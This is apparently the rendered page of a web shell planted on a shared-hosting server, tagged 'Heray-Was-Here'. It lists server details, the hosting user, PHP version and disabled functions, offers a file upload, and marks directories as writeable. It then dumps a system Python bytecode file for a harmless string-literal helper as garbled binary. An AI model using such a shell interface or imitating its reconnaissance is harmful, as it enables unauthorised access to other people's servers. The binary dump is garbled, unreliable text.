Heray-Was-Here
Server : LiteSpeed
System : Linux br-asc-web1845.main-hosting.eu 5.14.0-611.42.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 24 05:30:20 EDT 2026 x86_64
User : u602970434 ( 602970434)
PHP Version : 8.3.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /usr/lib64/python3.9/lib2to3/pgen2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python3.9/lib2to3/pgen2/__pycache__/literals.cpython-39.pyc
a

�ic�@sPdZddlZddddddd	d
ddd
�
Zdd�Zdd�Zdd�ZedkrLe�dS)z<Safely evaluate Python string literals without using eval().�N����
�
�	��'�"�\)
�a�b�f�n�r�t�vr	r
rcCs�|�dd�\}}|�d�sJ�t�|�}|dur4|S|�d�r�|dd�}t|�dkrbtd|��zt|d�}Wq�ty�td|�d�Yq�0n0zt|d�}Wn ty�td	|�d�Yn0t|�S)
Nr�r�x�z!invalid hex string escape ('\%s')��z#invalid octal string escape ('\%s'))�group�
startswith�simple_escapes�get�len�
ValueError�int�chr)�m�all�tailZescZhexes�i�r$�./usr/lib64/python3.9/lib2to3/pgen2/literals.py�escapes$

r&cCs�|�d�s(|�d�s(Jt|dd����|d}|dd�|dkrL|d}|�|�spJt|t|�d����t|�dt|�ks�J�|t|�t|��}t�dt|�S)Nr	r
rr�rz)\\(\'|\"|\\|[abfnrtv]|x.{0,2}|[0-7]{1,3}))r�repr�endswithr�re�subr&)�s�qr$r$r%�
evalString(s($r.cCs@td�D]2}t|�}t|�}t|�}||krt||||�qdS)N�)�rangerr(r.�print)r#�cr,�er$r$r%�test2sr4�__main__)�__doc__r*rr&r.r4�__name__r$r$r$r%�<module>s"�
	

Hry